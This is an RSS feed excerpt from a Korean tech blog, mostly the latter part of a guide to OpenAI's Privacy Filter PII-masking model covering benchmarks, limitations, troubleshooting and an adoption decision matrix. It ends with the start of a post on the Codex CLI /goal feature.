&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.974&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.942&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CredData (secret, baseline)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.747&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.965&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.842&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.617&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CredData (secret, corrected)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.750&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.965&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.844&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;0.624&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PII-Masking-300k의 baseline과 corrected는 동일 데이터셋의 주석 오류 수정 전&amp;middot;후를 의미한다. CredData는 비밀번호&amp;middot;API 키 같은 &lt;code&gt;secret&lt;/code&gt; 카테고리 전용 벤치마크로, Precision이 0.747까지 떨어지는 만큼 거짓양성(과도한 마스킹) 비용이 다른 카테고리보다 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The New Stack도 같은 PII-Masking-300k 수치를 인용하지만, 1차 출처는 모델 카드다. 운영 환경에서는 자체 데이터로 한 번 더 측정해 도메인 차이를 확인하는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파인튜닝 효율도 눈여겨볼 만하다. OpenAI 공식 발표는 도메인 적응 벤치마크에서 소량의 데이터로 F1이 54%에서 96%까지 개선됐다고 설명한다. &lt;code&gt;opf train /path/to/train.jsonl --output-dir /path/to/finetuned_checkpoint&lt;/code&gt; 명령으로 자체 도메인에 맞춰 적응시키는 흐름도 제공된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mojuL/dJMcahxw6eU/qW4JatkkiRtbcIoCqCvgS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mojuL/dJMcahxw6eU/qW4JatkkiRtbcIoCqCvgS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mojuL/dJMcahxw6eU/qW4JatkkiRtbcIoCqCvgS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmojuL%2FdJMcahxw6eU%2FqW4JatkkiRtbcIoCqCvgS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1074&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;다국어 평가는 한 줄로 오해하면 안 된다. 모델 카드는 PII-Masking-300K의 유럽어권 언어별 결과와 별도로, 확장 synthetic multilingual 평가에서 한국어 962개 예시에 대해 Recall 0.887, Precision 0.903, F1 0.895를 보고한다. 다만 synthetic 평가이므로 한국 기업 로그, 고객 상담, 사내 위키에서 같은 수치가 나온다는 뜻은 아니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 건 &quot;공식 벤치마크 96%&quot;가 아니라 &quot;우리 데이터에서 몇 %가 나오느냐&quot;다. 한국어 도메인, 사내 약어, 주민등록번호&amp;middot;사업자번호 같은 로컬 패턴이 많다면 자체 라벨 데이터로 짧게라도 재평가해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ujY6G/dJMcadu28yE/RA9dYOzCrt76DFew6T5FvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ujY6G/dJMcadu28yE/RA9dYOzCrt76DFew6T5FvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ujY6G/dJMcadu28yE/RA9dYOzCrt76DFew6T5FvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FujY6G%2FdJMcadu28yE%2FRA9dYOzCrt76DFew6T5FvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1082&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;수치만 보고 &quot;이걸로 끝&quot;이라 결론 짓기엔 이르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 한계는 꽤 분명하다. Privacy Filter는 고정된 라벨 체계와 학습 분포 안에서 동작한다. Hugging Face 모델 카드는 비영어 텍스트, 비라틴 문자, 지역별 이름 관습, 학습 분포 밖 도메인에서 성능이 떨어질 수 있다고 경고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 환경에서 직접적인 함의는 두 가지다. 첫째, 주민등록번호&amp;middot;사업자등록번호처럼 국내 고유 식별자는 별도 정규식 검사를 병행해야 한다. 둘째, 모델 카드가 한국어 synthetic 평가를 보고하더라도 실제 한국어 이름&amp;middot;주소&amp;middot;사내 약어&amp;middot;문서 양식은 별도 분포이므로 자체 샘플로 재현율을 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hugging Face 모델 카드는 더 강한 경고를 적는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Over-reliance 위험: 익명화, 컴플라이언스, 또는 보안 보장이 아님. 포괄적 개인정보 보호 접근법의 일부로만 사용 권장. 고위험 배포: 의료, 법률, 금융, HR, 교육, 정부 워크플로우에서 신중히 사용. 거짓음성(정보 노출), 거짓양성(문맥 제거) 모두 비용이 높음.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모델 자체가 &quot;익명화 도구&quot;라고 부를 수 없다는 입장을 OpenAI가 직접 밝힌다. 더 광범위한 프라이버시 설계의 한 구성요소로 두고, 의료&amp;middot;법률&amp;middot;금융 분야에서는 인간 검토를 반드시 병행해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 하나 놓치기 쉬운 점이 있다. 이름을 가려도 문맥만으로 사람을 다시 식별할 수 있는 경우가 있다. &quot;[PRIVATE_PERSON]이 우리 회사 대표다&quot; 같은 문장은 이름을 지워도 조직 내부에서는 거의 답이 보일 수 있다. 결정론적 식별자는 정규식으로, 맥락 의존적인 자연어 PII는 Privacy Filter로, 재식별 위험은 정책과 사람 검토로 나눠 보는 편이 현실적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q0. Mac에서 &lt;code&gt;AssertionError: Torch not compiled with CUDA enabled&lt;/code&gt; 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CUDA는 NVIDIA GPU 전용이다. Mac(Intel&amp;middot;Apple Silicon 모두)에는 CUDA가 없으므로 이 오류가 난다. &lt;code&gt;--device cpu&lt;/code&gt; 플래그를 붙이면 해결된다.&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 10px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 오류 나는 명령
opf &quot;Alice was born on 1990-01-02.&quot;
# &amp;rarr; AssertionError: Torch not compiled with CUDA enabled

# Mac 해결
opf --device cpu &quot;Alice was born on 1990-01-02.&quot;
# &amp;rarr; Alice was born on &amp;lt;PRIVATE_DATE&amp;gt;.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Apple Silicon(M1/M2/M3/M4)은 MPS 백엔드를 쓸 수도 있지만, 현재 공식 문서가 명시하는 Mac 지원 방식은 CPU다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q1. 설치는 됐는데 GPU에서 너무 느리다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 하드웨어별 처리량을 보장하지 않으므로 먼저 입력 길이를 줄여 기준치를 잡는 게 낫다. 같은 파일을 &lt;code&gt;opf --device cpu&lt;/code&gt;, GPU 단일 점유 상태, 배치 크기 변경 조건으로 각각 재고, 모델 다운로드&amp;middot;초기 로딩 시간과 순수 추론 시간을 분리해서 봐야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q2. 한국어 이름&amp;middot;주소가 자주 누락된다 (오탐/미탐)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델은 비영어&amp;middot;비라틴 문자에서 성능 저하 가능성이 보고된 모델이다. 두 가지 경로가 있다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;자체 한국어 라벨 데이터로 &lt;code&gt;opf train&lt;/code&gt;을 통해 파인튜닝하거나 운영 포인트를 조정한다.&lt;/li&gt;
&lt;li&gt;결정론적 패턴(주민번호, 사업자번호 등)은 정규식 사전 필터로 분리한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최소한 다음 샘플은 직접 넣어 봐야 한다. 주민등록번호 형식, 휴대전화 표기 변형(&lt;code&gt;010-1234-5678&lt;/code&gt;/&lt;code&gt;010 1234 5678&lt;/code&gt;), 사업자등록번호, 한글 이름+도로명 주소 혼합 문장, 사내 계정번호처럼 보이는 임의 숫자열이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q3. 커스텀 카테고리를 추가하고 싶다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 파인튜닝 가이드는 &lt;code&gt;opf train --label-space-json /path/to/custom_label_space.json&lt;/code&gt; 경로를 제공한다. &lt;code&gt;span_class_names&lt;/code&gt;에 새 카테고리를 정의하고 그 라벨로 학습하는 방식이다. 새 카테고리 하나를 추가하면 내부적으로 경계 태그(시작&amp;middot;중간&amp;middot;끝&amp;middot;단독) 4개 클래스가 생성된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q4. 정말 외부로 데이터가 나가지 않는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 발표가 보장하는 것은 &quot;로컬에서 실행 가능하다&quot;는 점이다. 실제 운영에서 외부 호출이 없는지는 배포자가 검증해야 한다. 모델 다운로드 단계의 외부 통신, 런타임 egress 차단, 임시파일&amp;middot;애플리케이션 로그 보존 여부, APM/오류 리포팅 도구 전송 여부를 같이 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 8: 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론 &amp;mdash; 도입 결정 매트릭스&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Privacy Filter를 어디에 쓰고 어디에 쓰지 않을지를 한 표로 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자연어 글(로그&amp;middot;문서&amp;middot;코드 리뷰) PII 마스킹&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Privacy Filter 단독 또는 정규식과 병행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한국어&amp;middot;한국 고유 식별자(주민번호 등) 중심&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정규식 + Privacy Filter, 가능하면 자체 파인튜닝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정규 패턴이 강한 폼 데이터(IBAN&amp;middot;이메일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Microsoft Presidio가 더 자연스러움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS 의존 환경, 영어&amp;middot;스페인어 텍스트, 운영 부담 최소화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Amazon Comprehend 등 관리형 서비스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;의료&amp;middot;법률&amp;middot;금융 등 고위험 도메인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 단독 사용 금지, 인간 검토 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클라우드 의존을 피하고 싶음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Privacy Filter 로컬 운영, egress 차단과 로그 정책 병행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자연어 텍스트 PII와 온프레미스 운영이 필요한 환경에는 Privacy Filter가, 정규 패턴 기반 데이터에는 Presidio가 더 자연스러운 선택이다. AWS 의존도가 높고 Comprehend PII의 지원 언어가 맞는 경우에는 관리형 서비스가 운영 부담을 줄일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-1. 도입 플레이북&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;오늘&lt;/b&gt;: 개인 PC에서 &lt;code&gt;git clone&lt;/code&gt; &amp;rarr; &lt;code&gt;pip install -e .&lt;/code&gt; &amp;rarr; &lt;code&gt;opf --device cpu -f sample.log&lt;/code&gt;로 8개 카테고리 동작을 확인한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이번 주&lt;/b&gt;: PII-Masking-300k 외에, 자체 데이터 100~300건에 라벨을 달아 정밀도/재현율을 측정한다. 동시에 한국 고유 식별자 정규식 룰을 정리한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영 반영&lt;/b&gt;: 내부 서비스로 Privacy Filter를 띄우고, LLM 호출 직전 단계에 게이트로 끼운다. CI에는 &lt;code&gt;secret&lt;/code&gt; 카테고리 검출 시 머지 차단 룰을 추가한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Privacy Filter는 PII 문제를 끝내 주는 도구가 아니라, PII 파이프라인을 처음부터 다시 설계할 때 쓸 수 있는 부품이다. 노트북에서도 돌아가는 가벼운 모델을 사내망에서 쓸 수 있다는 건 분명히 가치 있다. 단, 한국어&amp;middot;국내 식별자&amp;middot;고위험 도메인에서는 별도 평가와 정책 검토를 빠뜨리면 안 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub 저장소는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/privacy-filter&lt;/a&gt;에서 받을 수 있다. 바로 운영에 넣기보다, 한국 환경에 맞는 라벨링 샘플과 정규식 보강을 먼저 준비하는 쪽이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-openai-privacy-filter/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &amp;mdash; Introducing OpenAI Privacy Filter (공식 발표)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/ko-KR/index/introducing-openai-privacy-filter/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &amp;mdash; Privacy Filter 한국어 공식 발표&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; openai/privacy-filter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://huggingface.co/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face &amp;mdash; openai/privacy-filter 모델 카드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://cdn.openai.com/pdf/c66281ed-b638-456a-8ce1-97e9f5264a90/OpenAI-Privacy-Filter-Model-Card.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Privacy Filter Model Card PDF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/openai-privacy-filter-pii/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack &amp;mdash; OpenAI Privacy Filter PII 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/privacy-filter/blob/main/FINETUNING.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; FINETUNING.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://huggingface.co/spaces/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face Space &amp;mdash; openai/privacy-filter 데모&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://huggingface.co/blog/openai-privacy-filter-web-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face Blog &amp;mdash; Privacy Filter Web Apps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://microsoft.github.io/presidio/analyzer/languages/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft Presidio &amp;mdash; Multi-language support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://docs.aws.amazon.com/en_us/comprehend/latest/dg/supported-languages.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amazon Comprehend &amp;mdash; Supported languages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>LLM 개인정보 보호</category>
      <category>OpenAI Privacy Filter</category>
      <category>opf 명령어</category>
      <category>PII 마스킹</category>
      <category>Python PII 라이브러리</category>
      <category>개인정보 자동 감지</category>
      <category>개인정보 제거</category>
      <category>로컬 AI 도구</category>
      <category>서버 로그 마스킹</category>
      <category>오픈웨이트 모델</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/592</guid>
      <comments>https://goddaehee.tistory.com/592#entry592comment</comments>
      <pubDate>Sun, 3 May 2026 23:49:56 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI /goal 사용방법 : 목표를 기억하고 스스로 이어가는 자율 루프 - /goal과 Ralph Loop 비교</title>
      <link>https://goddaehee.tistory.com/591</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b02hff/dJMb99MYJHx/bGXbOuw9FeoiwjK2I0sKc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b02hff/dJMb99MYJHx/bGXbOuw9FeoiwjK2I0sKc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b02hff/dJMb99MYJHx/bGXbOuw9FeoiwjK2I0sKc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb02hff%2FdJMb99MYJHx%2FbGXbOuw9FeoiwjK2I0sKc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2672&quot; height=&quot;1502&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;/goal은 Codex CLI 신규버전 (0.128.0 : 2026-04-30) 업데이트의 핵심 기능 중 하나는 슬래시 커맨드&lt;span&gt; &lt;/span&gt;이다. 목표를 한 번 입력해 두면, AI가 할 일이 없어지는 순간마다 &quot;계속 진행해&quot;라는 신호를 스스로 받아 작업을 이어가는 구조다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;한국 개발자 사이에서도 반응이 빠르게 갈렸다. 어떤 사람은 &quot;드디어 ralph loop가 Codex CLI에 들어왔다&quot;고 환영했고, 어떤 사람은 &quot;장시간 돌아가는 자율 모드가 비용 폭탄 아니냐&quot;고 걱정했다. 마침 OpenAI의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://twitter.com/fcoury/status/2049917871799636201&quot;&gt;Felipe Coury가 원문 트윗에서 &quot;Our take on the Ralph loop&quot;&lt;/a&gt;라고 표현하기도 했으니, 두 진영 모두 어느 정도 일리가 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
